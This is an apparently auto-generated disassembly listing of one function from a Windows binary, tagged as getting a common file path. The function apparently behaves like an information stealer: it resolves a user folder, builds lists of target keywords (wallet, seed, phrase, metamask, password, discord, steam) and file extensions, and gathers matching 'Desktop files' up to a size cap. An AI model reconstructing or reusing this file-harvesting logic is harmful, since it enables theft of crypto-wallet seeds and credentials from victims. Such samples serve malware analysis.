Function at 0x4336c0
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xa5c
mov eax, dword [0x49d310]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x30c]
push eax
call fcn.004340a0
pop ecx
lea ecx, [ebp - 0x30c]
call fcn.004253b4
push 1
call fcn.0044576b
pop ecx
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x433723
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x270], eax
jmp 0x43372a
and dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x2bc], eax
sub esp, 0x18
mov ecx, esp
push 0x49d1f8
call fcn.004247df
mov ecx, dword [ebp - 0x2bc]
call fcn.004316b0
xor eax, eax
inc eax
je 0x43376f
sub esp, 0x18
mov ecx, esp
push 0x49d1f8
call fcn.004247df
lea ecx, [ebp - 0x212]
call fcn.0041f700
xor eax, eax
inc eax
je 0x43378e
sub esp, 0x18
mov ecx, esp
push 0x49d1f8
call fcn.004247df
lea ecx, [ebp - 0x211]
call fcn.0043e2f0
xor eax, eax
inc eax
je 0x4337ad
sub esp, 0x18
mov ecx, esp
push 0x49d1f8
call fcn.004247df
lea ecx, [ebp - 0x211]
call fcn.0043df20
xor eax, eax
inc eax
je 0x4337cc
sub esp, 0x18
mov ecx, esp
push 0x49d1f8
call fcn.004247df
lea ecx, [ebp - 0x211]
call fcn.0043d8f0
xor eax, eax
inc eax
je 0x434078
push 0x77
push 6
push 0
push 0
call fcn.004034f0
add esp, 0x10
mov dword [ebp - 0x25c], eax
lea eax, [ebp - 0x210]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x43380c
xor eax, eax
inc eax
jmp 0x43407f
push 1
call fcn.0044576b
pop ecx
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0
je 0x433831
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x278], eax
jmp 0x433838
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x290], eax
xor eax, eax
lea edi, [ebp - 0x238]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x265]
mov dword [ebp - 0x2c0], eax
push str.wallet.docx
lea ecx, [ebp - 0xa58]
call fcn.0042c016
push str.seed.docx
lea ecx, [ebp - 0xa40]
call fcn.0042c016
push str.wallet.doc
lea ecx, [ebp - 0xa28]
call fcn.0042c016
push str.seed.doc
lea ecx, [ebp - 0xa10]
call fcn.0042c016
push str.wallet.ini
lea ecx, [ebp - 0x9f8]
call fcn.0042c016
push str.seed.ini
lea ecx, [ebp - 0x9e0]
call fcn.0042c016
push str.wallet.tmp
lea ecx, [ebp - 0x9c8]
call fcn.0042c016
push str.seed.tmp
lea ecx, [ebp - 0x9b0]
call fcn.0042c016
push str..txt
lea ecx, [ebp - 0x998]
call fcn.0042c016
push str..doc
lea ecx, [ebp - 0x980]
call fcn.0042c016
push str..json
lea ecx, [ebp - 0x968]
call fcn.0042c016
push str..dat
lea ecx, [ebp - 0x950]
call fcn.0042c016
push str..db
lea ecx, [ebp - 0x938]
call fcn.0042c016
push str.key
lea ecx, [ebp - 0x920]
call fcn.0042c016
push str.wallet
lea ecx, [ebp - 0x908]
call fcn.0042c016
push str.seed
lea ecx, [ebp - 0x8f0]
call fcn.0042c016
push str.mail
lea ecx, [ebp - 0x8d8]
call fcn.0042c016
push str.phrase
lea ecx, [ebp - 0x8c0]
call fcn.0042c016
push str.steam
lea ecx, [ebp - 0x8a8]
call fcn.0042c016
push str.blizzard
lea ecx, [ebp - 0x890]
call fcn.0042c016
push str.epicgames
lea ecx, [ebp - 0x878]
call fcn.0042c016
push str.pay
lea ecx, [ebp - 0x860]
call fcn.0042c016
push str.crypto
lea ecx, [ebp - 0x848]
call fcn.0042c016
push str.discord
lea ecx, [ebp - 0x830]
call fcn.0042c016
push str.bitcoin
lea ecx, [ebp - 0x818]
call fcn.0042c016
push str.electrum
lea ecx, [ebp - 0x800]
call fcn.0042c016
push str.metamask
lea ecx, [ebp - 0x7e8]
call fcn.0042c016
push str.trust
lea ecx, [ebp - 0x7d0]
call fcn.0042c016
push str.exodus
lea ecx, [ebp - 0x7b8]
call fcn.0042c016
push str.pass
lea ecx, [ebp - 0x7a0]
call fcn.0042c016
push str.password
lea ecx, [ebp - 0x788]
call fcn.0042c016
push str.monero
lea ecx, [ebp - 0x770]
call fcn.0042c016
push str.qwerty
lea ecx, [ebp - 0x758]
call fcn.0042c016
push str.battle
lea ecx, [ebp - 0x740]
call fcn.0042c016
push str.porn
lea ecx, [ebp - 0x728]
call fcn.0042c016
push str.gog
lea ecx, [ebp - 0x710]
call fcn.0042c016
push str.adobe
lea ecx, [ebp - 0x6f8]
call fcn.0042c016
push str.solidworks
lea ecx, [ebp - 0x6e0]
call fcn.0042c016
push str.jetbrains
lea ecx, [ebp - 0x6c8]
call fcn.0042c016
push str.autodesk
lea ecx, [ebp - 0x6b0]
call fcn.0042c016
push str.dogecoin
lea ecx, [ebp - 0x698]
call fcn.0042c016
push str.cryptocurrency
lea ecx, [ebp - 0x680]
call fcn.0042c016
push str.ethereum
lea ecx, [ebp - 0x668]
call fcn.0042c016
push str.altcoin
lea ecx, [ebp - 0x650]
call fcn.0042c016
push str.blockchain
lea ecx, [ebp - 0x638]
call fcn.0042c016
push str.exchange
lea ecx, [ebp - 0x620]
call fcn.0042c016
push str.mining
lea ecx, [ebp - 0x608]
call fcn.0042c016
push str.token
lea ecx, [ebp - 0x5f0]
call fcn.0042c016
push str.private
lea ecx, [ebp - 0x5d8]
call fcn.0042c016
push str.public
lea ecx, [ebp - 0x5c0]
call fcn.0042c016
push str.trading
lea ecx, [ebp - 0x5a8]
call fcn.0042c016
push str.p2p
lea ecx, [ebp - 0x590]
call fcn.0042c016
push str.secret
lea ecx, [ebp - 0x578]
call fcn.0042c016
push str.treasure
lea ecx, [ebp - 0x560]
call fcn.0042c016
push str.valuable
lea ecx, [ebp - 0x548]
call fcn.0042c016
push str.record
lea ecx, [ebp - 0x530]
call fcn.0042c016
push str.dossier
lea ecx, [ebp - 0x518]
call fcn.0042c016
push str.archive
lea ecx, [ebp - 0x500]
call fcn.0042c016
push str.document
lea ecx, [ebp - 0x4e8]
call fcn.0042c016
push str.database
lea ecx, [ebp - 0x4d0]
call fcn.0042c016
push str.repository
lea ecx, [ebp - 0x4b8]
call fcn.0042c016
push str.journal
lea ecx, [ebp - 0x4a0]
call fcn.0042c016
push str.confidential
lea ecx, [ebp - 0x488]
call fcn.0042c016
push str.security
lea ecx, [ebp - 0x470]
call fcn.0042c016
push str.private
lea ecx, [ebp - 0x458]
call fcn.0042c016
push str.vault
lea ecx, [ebp - 0x440]
call fcn.0042c016
push str.file
lea ecx, [ebp - 0x428]
call fcn.0042c016
push str.passport
lea ecx, [ebp - 0x410]
call fcn.0042c016
push str.asset
lea ecx, [ebp - 0x3f8]
call fcn.0042c016
push str.backup
lea ecx, [ebp - 0x3e0]
call fcn.0042c016
push str.secure
lea ecx, [ebp - 0x3c8]
call fcn.0042c016
lea eax, [ebp - 0xa58]
mov dword [ebp - 0x2a4], eax
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x2a0]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
push dword [ebp - 0x2c0]
push dword [ebp - 0x2ac]
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x238]
call fcn.00434380
mov dword [ebp - 0x260], 0x47
lea eax, [ebp - 0xa58]
mov dword [ebp - 0x254], eax
imul eax, dword [ebp - 0x260], 0x18
add eax, dword [ebp - 0x254]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x2c4], 0
jbe 0x433da2
mov eax, dword [ebp - 0x254]
sub eax, 0x18
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x2c8], 0x4343f0
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x27c], eax
mov ecx, dword [ebp - 0x27c]
call dword [0x485218]
mov ecx, dword [ebp - 0x254]
call dword [ebp - 0x27c]
jmp 0x433d41
xor eax, eax
lea edi, [ebp - 0x22c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea ecx, [ebp - 0x22c]
call fcn.004285b4
xor eax, eax
lea edi, [ebp - 0x220]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x266]
mov dword [ebp - 0x2d4], eax
push str..msi
lea ecx, [ebp - 0x3a8]
call fcn.0042c016
push str..exe
lea ecx, [ebp - 0x390]
call fcn.0042c016
push 0x488744
lea ecx, [ebp - 0x378]
call fcn.0042c016
push str..xml
lea ecx, [ebp - 0x360]
call fcn.0042c016
push str..dll
lea ecx, [ebp - 0x348]
call fcn.0042c016
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x2b8], eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
push dword [ebp - 0x2d4]
push dword [ebp - 0x2cc]
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0x220]
call fcn.00434380
mov dword [ebp - 0x264], 5
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x258], eax
imul eax, dword [ebp - 0x264], 0x18
add eax, dword [ebp - 0x258]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x288], eax
mov eax, dword [ebp - 0x264]
dec eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x288], 0
jbe 0x433ef6
mov eax, dword [ebp - 0x258]
sub eax, 0x18
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x28c], 0x4343f0
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x280], eax
mov ecx, dword [ebp - 0x280]
call dword [0x485218]
mov ecx, dword [ebp - 0x258]
call dword [ebp - 0x280]
jmp 0x433e95
sub esp, 0x18
mov ecx, esp
push str.gDesktop_files_
call fcn.0042c016
push dword [ebp - 0x25c]
push 0
push 0x3200000
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x220]
push eax
call fcn.0042c3c9
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x22c]
push eax
call fcn.0042c3c9
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x238]
push eax
call fcn.0042c3c9
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x210]
push eax
call fcn.0042c016
mov ecx, dword [ebp - 0x290]
call fcn.004295c0
push 0x488178
lea ecx, [ebp - 0x324]
call fcn.0042482b
mov dword [ebp - 0x294], eax
push str.ae526526_4aa8_43e6_aca9_7cde9130df36
lea ecx, [ebp - 0x2f4]
call fcn.0042482b
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x298], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
push dword [ebp - 0x2dc]
lea ecx, [ebp - 0x250]
call fcn.0042487e
lea ecx, [ebp - 0x2f4]
call fcn.004253b4
lea ecx, [ebp - 0x324]
call fcn.004253b4
lea ecx, [ebp - 0x250]
call fcn.00425182
push eax
push dword [ebp - 0x25c]
call fcn.00402610
pop ecx
pop ecx
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x284], eax
mov eax, dword [0x49d208]
mov dword [ebp - 0x284], eax
mov ecx, 0x49d1f8
call fcn.00425182
mov dword [ebp - 0x29c], eax
push dword [ebp - 0x284]
push dword [ebp - 0x29c]
push dword [ebp - 0x25c]
call fcn.00402ef0
add esp, 0xc
push dword [ebp - 0x25c]
call fcn.00402810
pop ecx
sub esp, 0x18
mov ecx, esp
push 0x488764
call fcn.0042482b
push dword [ebp - 0x25c]
lea ecx, [ebp - 0x213]
call fcn.00436a20
lea ecx, [ebp - 0x250]
call fcn.004253b4
lea ecx, [ebp - 0x220]
call fcn.0042e01e
lea ecx, [ebp - 0x22c]
call fcn.0042e01e
lea ecx, [ebp - 0x238]
call fcn.0042e01e
call fcn.0046512f
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00445680
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10